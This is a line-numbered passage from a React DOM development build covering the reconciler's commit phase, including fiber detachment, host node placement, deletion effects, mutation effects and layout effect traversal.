23758 // approximate the planned Fiber refactor. In that world, `setState` will be
23759 // bound to a special "instance" object instead of a Fiber. The Instance
23760 // object will not have any of these fields. It will only be connected to
23761 // the fiber tree via a single link at the root. So if this level alone is
23762 // sufficient to fix memory issues, that bodes well for our plans.
23763 fiber.child = null;
23764 fiber.deletions = null;
23765 fiber.sibling = null; // The `stateNode` is cyclical because on host nodes it points to the host
23766 // tree, which has its own pointers to children, parents, and siblings.
23767 // The other host nodes also point back to fibers, so we should detach that
23768 // one, too.
23769
23770 if (fiber.tag === HostComponent) {
23771 var hostInstance = fiber.stateNode;
23772
23773 if (hostInstance !== null) {
23774 detachDeletedInstance(hostInstance);
23775 }
23776 }
23777
23778 fiber.stateNode = null; // I'm intentionally not clearing the `return` field in this level. We
23779 // already disconnect the `return` pointer at the root of the deleted
23780 // subtree (in `detachFiberMutation`). Besides, `return` by itself is not
23781 // cyclical — it's only cyclical when combined with `child`, `sibling`, and
23782 // `alternate`. But we'll clear it in the next level anyway, just in case.
23783
23784 {
23785 fiber._debugOwner = null;
23786 }
23787
23788 {
23789 // Theoretically, nothing in here should be necessary, because we already
23790 // disconnected the fiber from the tree. So even if something leaks this
23791 // particular fiber, it won't leak anything else
23792 //
23793 // The purpose of this branch is to be super aggressive so we can measure
23794 // if there's any difference in memory impact. If there is, that could
23795 // indicate a React leak we don't know about.
23796 fiber.return = null;
23797 fiber.dependencies = null;
23798 fiber.memoizedProps = null;
23799 fiber.memoizedState = null;
23800 fiber.pendingProps = null;
23801 fiber.stateNode = null; // TODO: Move to `commitPassiveUnmountInsideDeletedTreeOnFiber` instead.
23802
23803 fiber.updateQueue = null;
23804 }
23805 }
23806 }
23807
23808 function getHostParentFiber(fiber) {
23809 var parent = fiber.return;
23810
23811 while (parent !== null) {
23812 if (isHostParent(parent)) {
23813 return parent;
23814 }
23815
23816 parent = parent.return;
23817 }
23818
23819 throw new Error('Expected to find a host parent. This error is likely caused by a bug ' + 'in React. Please file an issue.');
23820 }
23821
23822 function isHostParent(fiber) {
23823 return fiber.tag === HostComponent || fiber.tag === HostRoot || fiber.tag === HostPortal;
23824 }
23825
23826 function getHostSibling(fiber) {
23827 // We're going to search forward into the tree until we find a sibling host
23828 // node. Unfortunately, if multiple insertions are done in a row we have to
23829 // search past them. This leads to exponential search for the next sibling.
23830 // TODO: Find a more efficient way to do this.
23831 var node = fiber;
23832
23833 siblings: while (true) {
23834 // If we didn't find anything, let's try the next sibling.
23835 while (node.sibling === null) {
23836 if (node.return === null || isHostParent(node.return)) {
23837 // If we pop out of the root or hit the parent the fiber we are the
23838 // last sibling.
23839 return null;
23840 }
23841
23842 node = node.return;
23843 }
23844
23845 node.sibling.return = node.return;
23846 node = node.sibling;
23847
23848 while (node.tag !== HostComponent && node.tag !== HostText && node.tag !== DehydratedFragment) {
23849 // If it is not host node and, we might have a host node inside it.
23850 // Try to search down until we find one.
23851 if (node.flags & Placement) {
23852 // If we don't have a child, try the siblings instead.
23853 continue siblings;
23854 } // If we don't have a child, try the siblings instead.
23855 // We also skip portals because they are not part of this host tree.
23856
23857
23858 if (node.child === null || node.tag === HostPortal) {
23859 continue siblings;
23860 } else {
23861 node.child.return = node;
23862 node = node.child;
23863 }
23864 } // Check if this host node is stable or about to be placed.
23865
23866
23867 if (!(node.flags & Placement)) {
23868 // Found it!
23869 return node.stateNode;
23870 }
23871 }
23872 }
23873
23874 function commitPlacement(finishedWork) {
23875
23876
23877 var parentFiber = getHostParentFiber(finishedWork); // Note: these two variables *must* always be updated together.
23878
23879 switch (parentFiber.tag) {
23880 case HostComponent:
23881 {
23882 var parent = parentFiber.stateNode;
23883
23884 if (parentFiber.flags & ContentReset) {
23885 // Reset the text content of the parent before doing any insertions
23886 resetTextContent(parent); // Clear ContentReset from the effect tag
23887
23888 parentFiber.flags &= ~ContentReset;
23889 }
23890
23891 var before = getHostSibling(finishedWork); // We only have the top Fiber that was inserted but we need to recurse down its
23892 // children to find all the terminal nodes.
23893
23894 insertOrAppendPlacementNode(finishedWork, before, parent);
23895 break;
23896 }
23897
23898 case HostRoot:
23899 case HostPortal:
23900 {
23901 var _parent = parentFiber.stateNode.containerInfo;
23902
23903 var _before = getHostSibling(finishedWork);
23904
23905 insertOrAppendPlacementNodeIntoContainer(finishedWork, _before, _parent);
23906 break;
23907 }
23908 // eslint-disable-next-line-no-fallthrough
23909
23910 default:
23911 throw new Error('Invalid host parent fiber. This error is likely caused by a bug ' + 'in React. Please file an issue.');
23912 }
23913 }
23914
23915 function insertOrAppendPlacementNodeIntoContainer(node, before, parent) {
23916 var tag = node.tag;
23917 var isHost = tag === HostComponent || tag === HostText;
23918
23919 if (isHost) {
23920 var stateNode = node.stateNode;
23921
23922 if (before) {
23923 insertInContainerBefore(parent, stateNode, before);
23924 } else {
23925 appendChildToContainer(parent, stateNode);
23926 }
23927 } else if (tag === HostPortal) ; else {
23928 var child = node.child;
23929
23930 if (child !== null) {
23931 insertOrAppendPlacementNodeIntoContainer(child, before, parent);
23932 var sibling = child.sibling;
23933
23934 while (sibling !== null) {
23935 insertOrAppendPlacementNodeIntoContainer(sibling, before, parent);
23936 sibling = sibling.sibling;
23937 }
23938 }
23939 }
23940 }
23941
23942 function insertOrAppendPlacementNode(node, before, parent) {
23943 var tag = node.tag;
23944 var isHost = tag === HostComponent || tag === HostText;
23945
23946 if (isHost) {
23947 var stateNode = node.stateNode;
23948
23949 if (before) {
23950 insertBefore(parent, stateNode, before);
23951 } else {
23952 appendChild(parent, stateNode);
23953 }
23954 } else if (tag === HostPortal) ; else {
23955 var child = node.child;
23956
23957 if (child !== null) {
23958 insertOrAppendPlacementNode(child, before, parent);
23959 var sibling = child.sibling;
23960
23961 while (sibling !== null) {
23962 insertOrAppendPlacementNode(sibling, before, parent);
23963 sibling = sibling.sibling;
23964 }
23965 }
23966 }
23967 } // These are tracked on the stack as we recursively traverse a
23968 // deleted subtree.
23969 // TODO: Update these during the whole mutation phase, not just during
23970 // a deletion.
23971
23972
23973 var hostParent = null;
23974 var hostParentIsContainer = false;
23975
23976 function commitDeletionEffects(root, returnFiber, deletedFiber) {
23977 {
23978 // We only have the top Fiber that was deleted but we need to recurse down its
23979 // children to find all the terminal nodes.
23980 // Recursively delete all host nodes from the parent, detach refs, clean
23981 // up mounted layout effects, and call componentWillUnmount.
23982 // We only need to remove the topmost host child in each branch. But then we
23983 // still need to keep traversing to unmount effects, refs, and cWU. TODO: We
23984 // could split this into two separate traversals functions, where the second
23985 // one doesn't include any removeChild logic. This is maybe the same
23986 // function as "disappearLayoutEffects" (or whatever that turns into after
23987 // the layout phase is refactored to use recursion).
23988 // Before starting, find the nearest host parent on the stack so we know
23989 // which instance/container to remove the children from.
23990 // TODO: Instead of searching up the fiber return path on every deletion, we
23991 // can track the nearest host component on the JS stack as we traverse the
23992 // tree during the commit phase. This would make insertions faster, too.
23993 var parent = returnFiber;
23994
23995 findParent: while (parent !== null) {
23996 switch (parent.tag) {
23997 case HostComponent:
23998 {
23999 hostParent = parent.stateNode;
24000 hostParentIsContainer = false;
24001 break findParent;
24002 }
24003
24004 case HostRoot:
24005 {
24006 hostParent = parent.stateNode.containerInfo;
24007 hostParentIsContainer = true;
24008 break findParent;
24009 }
24010
24011 case HostPortal:
24012 {
24013 hostParent = parent.stateNode.containerInfo;
24014 hostParentIsContainer = true;
24015 break findParent;
24016 }
24017 }
24018
24019 parent = parent.return;
24020 }
24021
24022 if (hostParent === null) {
24023 throw new Error('Expected to find a host parent. This error is likely caused by ' + 'a bug in React. Please file an issue.');
24024 }
24025
24026 commitDeletionEffectsOnFiber(root, returnFiber, deletedFiber);
24027 hostParent = null;
24028 hostParentIsContainer = false;
24029 }
24030
24031 detachFiberMutation(deletedFiber);
24032 }
24033
24034 function recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, parent) {
24035 // TODO: Use a static flag to skip trees that don't have unmount effects
24036 var child = parent.child;
24037
24038 while (child !== null) {
24039 commitDeletionEffectsOnFiber(finishedRoot, nearestMountedAncestor, child);
24040 child = child.sibling;
24041 }
24042 }
24043
24044 function commitDeletionEffectsOnFiber(finishedRoot, nearestMountedAncestor, deletedFiber) {
24045 onCommitUnmount(deletedFiber); // The cases in this outer switch modify the stack before they traverse
24046 // into their subtree. There are simpler cases in the inner switch
24047 // that don't modify the stack.
24048
24049 switch (deletedFiber.tag) {
24050 case HostComponent:
24051 {
24052 if (!offscreenSubtreeWasHidden) {
24053 safelyDetachRef(deletedFiber, nearestMountedAncestor);
24054 } // Intentional fallthrough to next branch
24055
24056 }
24057 // eslint-disable-next-line-no-fallthrough
24058
24059 case HostText:
24060 {
24061 // We only need to remove the nearest host child. Set the host parent
24062 // to `null` on the stack to indicate that nested children don't
24063 // need to be removed.
24064 {
24065 var prevHostParent = hostParent;
24066 var prevHostParentIsContainer = hostParentIsContainer;
24067 hostParent = null;
24068 recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
24069 hostParent = prevHostParent;
24070 hostParentIsContainer = prevHostParentIsContainer;
24071
24072 if (hostParent !== null) {
24073 // Now that all the child effects have unmounted, we can remove the
24074 // node from the tree.
24075 if (hostParentIsContainer) {
24076 removeChildFromContainer(hostParent, deletedFiber.stateNode);
24077 } else {
24078 removeChild(hostParent, deletedFiber.stateNode);
24079 }
24080 }
24081 }
24082
24083 return;
24084 }
24085
24086 case DehydratedFragment:
24087 {
24088 // Delete the dehydrated suspense boundary and all of its content.
24089
24090
24091 {
24092 if (hostParent !== null) {
24093 if (hostParentIsContainer) {
24094 clearSuspenseBoundaryFromContainer(hostParent, deletedFiber.stateNode);
24095 } else {
24096 clearSuspenseBoundary(hostParent, deletedFiber.stateNode);
24097 }
24098 }
24099 }
24100
24101 return;
24102 }
24103
24104 case HostPortal:
24105 {
24106 {
24107 // When we go into a portal, it becomes the parent to remove from.
24108 var _prevHostParent = hostParent;
24109 var _prevHostParentIsContainer = hostParentIsContainer;
24110 hostParent = deletedFiber.stateNode.containerInfo;
24111 hostParentIsContainer = true;
24112 recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
24113 hostParent = _prevHostParent;
24114 hostParentIsContainer = _prevHostParentIsContainer;
24115 }
24116
24117 return;
24118 }
24119
24120 case FunctionComponent:
24121 case ForwardRef:
24122 case MemoComponent:
24123 case SimpleMemoComponent:
24124 {
24125 if (!offscreenSubtreeWasHidden) {
24126 var updateQueue = deletedFiber.updateQueue;
24127
24128 if (updateQueue !== null) {
24129 var lastEffect = updateQueue.lastEffect;
24130
24131 if (lastEffect !== null) {
24132 var firstEffect = lastEffect.next;
24133 var effect = firstEffect;
24134
24135 do {
24136 var _effect = effect,
24137 destroy = _effect.destroy,
24138 tag = _effect.tag;
24139
24140 if (destroy !== undefined) {
24141 if ((tag & Insertion) !== NoFlags$1) {
24142 safelyCallDestroy(deletedFiber, nearestMountedAncestor, destroy);
24143 } else if ((tag & Layout) !== NoFlags$1) {
24144 {
24145 markComponentLayoutEffectUnmountStarted(deletedFiber);
24146 }
24147
24148 if ( deletedFiber.mode & ProfileMode) {
24149 startLayoutEffectTimer();
24150 safelyCallDestroy(deletedFiber, nearestMountedAncestor, destroy);
24151 recordLayoutEffectDuration(deletedFiber);
24152 } else {
24153 safelyCallDestroy(deletedFiber, nearestMountedAncestor, destroy);
24154 }
24155
24156 {
24157 markComponentLayoutEffectUnmountStopped();
24158 }
24159 }
24160 }
24161
24162 effect = effect.next;
24163 } while (effect !== firstEffect);
24164 }
24165 }
24166 }
24167
24168 recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
24169 return;
24170 }
24171
24172 case ClassComponent:
24173 {
24174 if (!offscreenSubtreeWasHidden) {
24175 safelyDetachRef(deletedFiber, nearestMountedAncestor);
24176 var instance = deletedFiber.stateNode;
24177
24178 if (typeof instance.componentWillUnmount === 'function') {
24179 safelyCallComponentWillUnmount(deletedFiber, nearestMountedAncestor, instance);
24180 }
24181 }
24182
24183 recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
24184 return;
24185 }
24186
24187 case ScopeComponent:
24188 {
24189
24190 recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
24191 return;
24192 }
24193
24194 case OffscreenComponent:
24195 {
24196 if ( // TODO: Remove this dead flag
24197 deletedFiber.mode & ConcurrentMode) {
24198 // If this offscreen component is hidden, we already unmounted it. Before
24199 // deleting the children, track that it's already unmounted so that we
24200 // don't attempt to unmount the effects again.
24201 // TODO: If the tree is hidden, in most cases we should be able to skip
24202 // over the nested children entirely. An exception is we haven't yet found
24203 // the topmost host node to delete, which we already track on the stack.
24204 // But the other case is portals, which need to be detached no matter how
24205 // deeply they are nested. We should use a subtree flag to track whether a
24206 // subtree includes a nested portal.
24207 var prevOffscreenSubtreeWasHidden = offscreenSubtreeWasHidden;
24208 offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden || deletedFiber.memoizedState !== null;
24209 recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
24210 offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden;
24211 } else {
24212 recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
24213 }
24214
24215 break;
24216 }
24217
24218 default:
24219 {
24220 recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
24221 return;
24222 }
24223 }
24224 }
24225
24226 function commitSuspenseCallback(finishedWork) {
24227 // TODO: Move this to passive phase
24228 var newState = finishedWork.memoizedState;
24229 }
24230
24231 function commitSuspenseHydrationCallbacks(finishedRoot, finishedWork) {
24232
24233 var newState = finishedWork.memoizedState;
24234
24235 if (newState === null) {
24236 var current = finishedWork.alternate;
24237
24238 if (current !== null) {
24239 var prevState = current.memoizedState;
24240
24241 if (prevState !== null) {
24242 var suspenseInstance = prevState.dehydrated;
24243
24244 if (suspenseInstance !== null) {
24245 commitHydratedSuspenseInstance(suspenseInstance);
24246 }
24247 }
24248 }
24249 }
24250 }
24251
24252 function attachSuspenseRetryListeners(finishedWork) {
24253 // If this boundary just timed out, then it will have a set of wakeables.
24254 // For each wakeable, attach a listener so that when it resolves, React
24255 // attempts to re-render the boundary in the primary (pre-timeout) state.
24256 var wakeables = finishedWork.updateQueue;
24257
24258 if (wakeables !== null) {
24259 finishedWork.updateQueue = null;
24260 var retryCache = finishedWork.stateNode;
24261
24262 if (retryCache === null) {
24263 retryCache = finishedWork.stateNode = new PossiblyWeakSet();
24264 }
24265
24266 wakeables.forEach(function (wakeable) {
24267 // Memoize using the boundary fiber to prevent redundant listeners.
24268 var retry = resolveRetryWakeable.bind(null, finishedWork, wakeable);
24269
24270 if (!retryCache.has(wakeable)) {
24271 retryCache.add(wakeable);
24272
24273 {
24274 if (isDevToolsPresent) {
24275 if (inProgressLanes !== null && inProgressRoot !== null) {
24276 // If we have pending work still, associate the original updaters with it.
24277 restorePendingUpdaters(inProgressRoot, inProgressLanes);
24278 } else {
24279 throw Error('Expected finished root and lanes to be set. This is a bug in React.');
24280 }
24281 }
24282 }
24283
24284 wakeable.then(retry, retry);
24285 }
24286 });
24287 }
24288 } // This function detects when a Suspense boundary goes from visible to hidden.
24289 function commitMutationEffects(root, finishedWork, committedLanes) {
24290 inProgressLanes = committedLanes;
24291 inProgressRoot = root;
24292 setCurrentFiber(finishedWork);
24293 commitMutationEffectsOnFiber(finishedWork, root);
24294 setCurrentFiber(finishedWork);
24295 inProgressLanes = null;
24296 inProgressRoot = null;
24297 }
24298
24299 function recursivelyTraverseMutationEffects(root, parentFiber, lanes) {
24300 // Deletions effects can be scheduled on any fiber type. They need to happen
24301 // before the children effects hae fired.
24302 var deletions = parentFiber.deletions;
24303
24304 if (deletions !== null) {
24305 for (var i = 0; i < deletions.length; i++) {
24306 var childToDelete = deletions[i];
24307
24308 try {
24309 commitDeletionEffects(root, parentFiber, childToDelete);
24310 } catch (error) {
24311 captureCommitPhaseError(childToDelete, parentFiber, error);
24312 }
24313 }
24314 }
24315
24316 var prevDebugFiber = getCurrentFiber();
24317
24318 if (parentFiber.subtreeFlags & MutationMask) {
24319 var child = parentFiber.child;
24320
24321 while (child !== null) {
24322 setCurrentFiber(child);
24323 commitMutationEffectsOnFiber(child, root);
24324 child = child.sibling;
24325 }
24326 }
24327
24328 setCurrentFiber(prevDebugFiber);
24329 }
24330
24331 function commitMutationEffectsOnFiber(finishedWork, root, lanes) {
24332 var current = finishedWork.alternate;
24333 var flags = finishedWork.flags; // The effect flag should be checked *after* we refine the type of fiber,
24334 // because the fiber tag is more specific. An exception is any flag related
24335 // to reconcilation, because those can be set on all fiber types.
24336
24337 switch (finishedWork.tag) {
24338 case FunctionComponent:
24339 case ForwardRef:
24340 case MemoComponent:
24341 case SimpleMemoComponent:
24342 {
24343 recursivelyTraverseMutationEffects(root, finishedWork);
24344 commitReconciliationEffects(finishedWork);
24345
24346 if (flags & Update) {
24347 try {
24348 commitHookEffectListUnmount(Insertion | HasEffect, finishedWork, finishedWork.return);
24349 commitHookEffectListMount(Insertion | HasEffect, finishedWork);
24350 } catch (error) {
24351 captureCommitPhaseError(finishedWork, finishedWork.return, error);
24352 } // Layout effects are destroyed during the mutation phase so that all
24353 // destroy functions for all fibers are called before any create functions.
24354 // This prevents sibling component effects from interfering with each other,
24355 // e.g. a destroy function in one component should never override a ref set
24356 // by a create function in another component during the same commit.
24357
24358
24359 if ( finishedWork.mode & ProfileMode) {
24360 try {
24361 startLayoutEffectTimer();
24362 commitHookEffectListUnmount(Layout | HasEffect, finishedWork, finishedWork.return);
24363 } catch (error) {
24364 captureCommitPhaseError(finishedWork, finishedWork.return, error);
24365 }
24366
24367 recordLayoutEffectDuration(finishedWork);
24368 } else {
24369 try {
24370 commitHookEffectListUnmount(Layout | HasEffect, finishedWork, finishedWork.return);
24371 } catch (error) {
24372 captureCommitPhaseError(finishedWork, finishedWork.return, error);
24373 }
24374 }
24375 }
24376
24377 return;
24378 }
24379
24380 case ClassComponent:
24381 {
24382 recursivelyTraverseMutationEffects(root, finishedWork);
24383 commitReconciliationEffects(finishedWork);
24384
24385 if (flags & Ref) {
24386 if (current !== null) {
24387 safelyDetachRef(current, current.return);
24388 }
24389 }
24390
24391 return;
24392 }
24393
24394 case HostComponent:
24395 {
24396 recursivelyTraverseMutationEffects(root, finishedWork);
24397 commitReconciliationEffects(finishedWork);
24398
24399 if (flags & Ref) {
24400 if (current !== null) {
24401 safelyDetachRef(current, current.return);
24402 }
24403 }
24404
24405 {
24406 // TODO: ContentReset gets cleared by the children during the commit
24407 // phase. This is a refactor hazard because it means we must read
24408 // flags the flags after `commitReconciliationEffects` has already run;
24409 // the order matters. We should refactor so that ContentReset does not
24410 // rely on mutating the flag during commit. Like by setting a flag
24411 // during the render phase instead.
24412 if (finishedWork.flags & ContentReset) {
24413 var instance = finishedWork.stateNode;
24414
24415 try {
24416 resetTextContent(instance);
24417 } catch (error) {
24418 captureCommitPhaseError(finishedWork, finishedWork.return, error);
24419 }
24420 }
24421
24422 if (flags & Update) {
24423 var _instance4 = finishedWork.stateNode;
24424
24425 if (_instance4 != null) {
24426 // Commit the work prepared earlier.
24427 var newProps = finishedWork.memoizedProps; // For hydration we reuse the update path but we treat the oldProps
24428 // as the newProps. The updatePayload will contain the real change in
24429 // this case.
24430
24431 var oldProps = current !== null ? current.memoizedProps : newProps;
24432 var type = finishedWork.type; // TODO: Type the updateQueue to be specific to host components.
24433
24434 var updatePayload = finishedWork.updateQueue;
24435 finishedWork.updateQueue = null;
24436
24437 if (updatePayload !== null) {
24438 try {
24439 commitUpdate(_instance4, updatePayload, type, oldProps, newProps, finishedWork);
24440 } catch (error) {
24441 captureCommitPhaseError(finishedWork, finishedWork.return, error);
24442 }
24443 }
24444 }
24445 }
24446 }
24447
24448 return;
24449 }
24450
24451 case HostText:
24452 {
24453 recursivelyTraverseMutationEffects(root, finishedWork);
24454 commitReconciliationEffects(finishedWork);
24455
24456 if (flags & Update) {
24457 {
24458 if (finishedWork.stateNode === null) {
24459 throw new Error('This should have a text node initialized. This error is likely ' + 'caused by a bug in React. Please file an issue.');
24460 }
24461
24462 var textInstance = finishedWork.stateNode;
24463 var newText = finishedWork.memoizedProps; // For hydration we reuse the update path but we treat the oldProps
24464 // as the newProps. The updatePayload will contain the real change in
24465 // this case.
24466
24467 var oldText = current !== null ? current.memoizedProps : newText;
24468
24469 try {
24470 commitTextUpdate(textInstance, oldText, newText);
24471 } catch (error) {
24472 captureCommitPhaseError(finishedWork, finishedWork.return, error);
24473 }
24474 }
24475 }
24476
24477 return;
24478 }
24479
24480 case HostRoot:
24481 {
24482 recursivelyTraverseMutationEffects(root, finishedWork);
24483 commitReconciliationEffects(finishedWork);
24484
24485 if (flags & Update) {
24486 {
24487 if (current !== null) {
24488 var prevRootState = current.memoizedState;
24489
24490 if (prevRootState.isDehydrated) {
24491 try {
24492 commitHydratedContainer(root.containerInfo);
24493 } catch (error) {
24494 captureCommitPhaseError(finishedWork, finishedWork.return, error);
24495 }
24496 }
24497 }
24498 }
24499 }
24500
24501 return;
24502 }
24503
24504 case HostPortal:
24505 {
24506 recursivelyTraverseMutationEffects(root, finishedWork);
24507 commitReconciliationEffects(finishedWork);
24508
24509 return;
24510 }
24511
24512 case SuspenseComponent:
24513 {
24514 recursivelyTraverseMutationEffects(root, finishedWork);
24515 commitReconciliationEffects(finishedWork);
24516 var offscreenFiber = finishedWork.child;
24517
24518 if (offscreenFiber.flags & Visibility) {
24519 var offscreenInstance = offscreenFiber.stateNode;
24520 var newState = offscreenFiber.memoizedState;
24521 var isHidden = newState !== null; // Track the current state on the Offscreen instance so we can
24522 // read it during an event
24523
24524 offscreenInstance.isHidden = isHidden;
24525
24526 if (isHidden) {
24527 var wasHidden = offscreenFiber.alternate !== null && offscreenFiber.alternate.memoizedState !== null;
24528
24529 if (!wasHidden) {
24530 // TODO: Move to passive phase
24531 markCommitTimeOfFallback();
24532 }
24533 }
24534 }
24535
24536 if (flags & Update) {
24537 try {
24538 commitSuspenseCallback(finishedWork);
24539 } catch (error) {
24540 captureCommitPhaseError(finishedWork, finishedWork.return, error);
24541 }
24542
24543 attachSuspenseRetryListeners(finishedWork);
24544 }
24545
24546 return;
24547 }
24548
24549 case OffscreenComponent:
24550 {
24551 var _wasHidden = current !== null && current.memoizedState !== null;
24552
24553 if ( // TODO: Remove this dead flag
24554 finishedWork.mode & ConcurrentMode) {
24555 // Before committing the children, track on the stack whether this
24556 // offscreen subtree was already hidden, so that we don't unmount the
24557 // effects again.
24558 var prevOffscreenSubtreeWasHidden = offscreenSubtreeWasHidden;
24559 offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden || _wasHidden;
24560 recursivelyTraverseMutationEffects(root, finishedWork);
24561 offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden;
24562 } else {
24563 recursivelyTraverseMutationEffects(root, finishedWork);
24564 }
24565
24566 commitReconciliationEffects(finishedWork);
24567
24568 if (flags & Visibility) {
24569 var _offscreenInstance = finishedWork.stateNode;
24570 var _newState = finishedWork.memoizedState;
24571
24572 var _isHidden = _newState !== null;
24573
24574 var offscreenBoundary = finishedWork; // Track the current state on the Offscreen instance so we can
24575 // read it during an event
24576
24577 _offscreenInstance.isHidden = _isHidden;
24578
24579 {
24580 if (_isHidden) {
24581 if (!_wasHidden) {
24582 if ((offscreenBoundary.mode & ConcurrentMode) !== NoMode) {
24583 nextEffect = offscreenBoundary;
24584 var offscreenChild = offscreenBoundary.child;
24585
24586 while (offscreenChild !== null) {
24587 nextEffect = offscreenChild;
24588 disappearLayoutEffects_begin(offscreenChild);
24589 offscreenChild = offscreenChild.sibling;
24590 }
24591 }
24592 }
24593 }
24594 }
24595
24596 {
24597 // TODO: This needs to run whenever there's an insertion or update
24598 // inside a hidden Offscreen tree.
24599 hideOrUnhideAllChildren(offscreenBoundary, _isHidden);
24600 }
24601 }
24602
24603 return;
24604 }
24605
24606 case SuspenseListComponent:
24607 {
24608 recursivelyTraverseMutationEffects(root, finishedWork);
24609 commitReconciliationEffects(finishedWork);
24610
24611 if (flags & Update) {
24612 attachSuspenseRetryListeners(finishedWork);
24613 }
24614
24615 return;
24616 }
24617
24618 case ScopeComponent:
24619 {
24620
24621 return;
24622 }
24623
24624 default:
24625 {
24626 recursivelyTraverseMutationEffects(root, finishedWork);
24627 commitReconciliationEffects(finishedWork);
24628 return;
24629 }
24630 }
24631 }
24632
24633 function commitReconciliationEffects(finishedWork) {
24634 // Placement effects (insertions, reorders) can be scheduled on any fiber
24635 // type. They needs to happen after the children effects have fired, but
24636 // before the effects on this fiber have fired.
24637 var flags = finishedWork.flags;
24638
24639 if (flags & Placement) {
24640 try {
24641 commitPlacement(finishedWork);
24642 } catch (error) {
24643 captureCommitPhaseError(finishedWork, finishedWork.return, error);
24644 } // Clear the "placement" from effect tag so that we know that this is
24645 // inserted, before any life-cycles like componentDidMount gets called.
24646 // TODO: findDOMNode doesn't rely on this any more but isMounted does
24647 // and isMounted is deprecated anyway so we should be able to kill this.
24648
24649
24650 finishedWork.flags &= ~Placement;
24651 }
24652
24653 if (flags & Hydrating) {
24654 finishedWork.flags &= ~Hydrating;
24655 }
24656 }
24657
24658 function commitLayoutEffects(finishedWork, root, committedLanes) {
24659 inProgressLanes = committedLanes;
24660 inProgressRoot = root;
24661 nextEffect = finishedWork;
24662 commitLayoutEffects_begin(finishedWork, root, committedLanes);
24663 inProgressLanes = null;
24664 inProgressRoot = null;
24665 }
24666
24667 function commitLayoutEffects_begin(subtreeRoot, root, committedLanes) {
24668 // Suspense layout effects semantics don't change for legacy roots.
24669 var isModernRoot = (subtreeRoot.mode & ConcurrentMode) !== NoMode;
24670
24671 while (nextEffect !== null) {
24672 var fiber = nextEffect;
24673 var firstChild = fiber.child;
24674
24675 if ( fiber.tag === OffscreenComponent && isModernRoot) {
24676 // Keep track of the current Offscreen stack's state.
24677 var isHidden = fiber.memoizedState !== null;
24678 var newOffscreenSubtreeIsHidden = isHidden || offscreenSubtreeIsHidden;
24679
24680 if (newOffscreenSubtreeIsHidden) {
24681 // The Offscreen tree is hidden. Skip over its layout effects.
24682 commitLayoutMountEffects_complete(subtreeRoot, root, committedLanes);
24683 continue;
24684 } else {
24685 // TODO (Offscreen) Also check: subtreeFlags & LayoutMask
24686 var current = fiber.alternate;
24687 var wasHidden = current !== null && current.memoizedState !== null;
24688 var newOffscreenSubtreeWasHidden = wasHidden || offscreenSubtreeWasHidden;
24689 var prevOffscreenSubtreeIsHidden = offscreenSubtreeIsHidden;
24690 var prevOffscreenSubtreeWasHidden = offscreenSubtreeWasHidden; // Traverse the Offscreen subtree with the current Offscreen as the root.
24691
24692 offscreenSubtreeIsHidden = newOffscreenSubtreeIsHidden;
24693 offscreenSubtreeWasHidden = newOffscreenSubtreeWasHidden;
24694
24695 if (offscreenSubtreeWasHidden && !prevOffscreenSubtreeWasHidden) {
24696 // This is the root of a reappearing boundary. Turn its layout effects
24697 // back on.
24698 nextEffect = fiber;
24699 reappearLayoutEffects_begin(fiber);
24700 }
24701
24702 var child = firstChild;
24703
24704 while (child !== null) {
24705 nextEffect = child;
24706 commitLayoutEffects_begin(child, // New root; bubble back up to here and stop.
24707 root, committedLanes);
24708 child = child.sibling;
24709 } // Restore Offscreen state and resume in our-progress traversal.
24710
24711
24712 nextEffect = fiber;
24713 offscreenSubtreeIsHidden = prevOffscreenSubtreeIsHidden;
24714 offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden;
24715 commitLayoutMountEffects_complete(subtreeRoot, root, committedLanes);
24716 continue;
24717 }
24718 }
24719
24720 if ((fiber.subtreeFlags & LayoutMask) !== NoFlags && firstChild !== null) {
24721 firstChild.return = fiber;
24722 nextEffect = firstChild;
24723 } else {
24724 commitLayoutMountEffects_complete(subtreeRoot, root, committedLanes);
24725 }
24726 }
24727 }
24728
24729 function commitLayoutMountEffects_complete(subtreeRoot, root, committedLanes) {
24730 while (nextEffect !== null) {
24731 var fiber = nextEffect;
24732
24733 if ((fiber.flags & LayoutMask) !== NoFlags) {
24734 var current = fiber.alternate;
24735 setCurrentFiber(fiber);
24736
24737 try {
24738 commitLayoutEffectOnFiber(root, current, fiber, committedLanes);
24739 } catch (error) {
24740 captureCommitPhaseError(fiber, fiber.return, error);
24741 }
24742
24743 resetCurrentFiber();
24744 }
24745
24746 if (fiber === subtreeRoot) {
24747 nextEffect = null;
24748 return;
24749 }
24750
24751 var sibling = fiber.sibling;
24752
24753 if (sibling !== null) {
24754 sibling.return = fiber.return;
24755 nextEffect = sibling;
24756 return;
24757 }
24758
24759 nextEffect = fiber.return;
24760 }
24761 }
24762
24763 function disappearLayoutEffects_begin(subtreeRoot) {
24764 while (nextEffect !== null) {
24765 var fiber = nextEffect;
24766 var firstChild = fiber.child; // TODO (Offscreen) Check: flags & (RefStatic | LayoutStatic)
24767
24768 switch (fiber.tag) {
24769 case FunctionComponent:
24770 case ForwardRef:
24771 case MemoComponent:
24772 case SimpleMemoComponent:
24773 {
24774 if ( fiber.mode & ProfileMode) {
24775 try {
24776 startLayoutEffectTimer();
24777 commitHookEffectListUnmount(Layout, fiber, fiber.return);
24778 } finally {
24779 recordLayoutEffectDuration(fiber);
24780 }
24781 } else {
24782 commitHookEffectListUnmount(Layout, fiber, fiber.return);
24783 }
24784
24785 break;
24786 }
24787
24788 case ClassComponent:
24789 {
24790 // TODO (Offscreen) Check: flags & RefStatic
24791 safelyDetachRef(fiber, fiber.return);
24792 var instance = fiber.stateNode;
24793
24794 if (typeof instance.componentWillUnmount === 'function') {
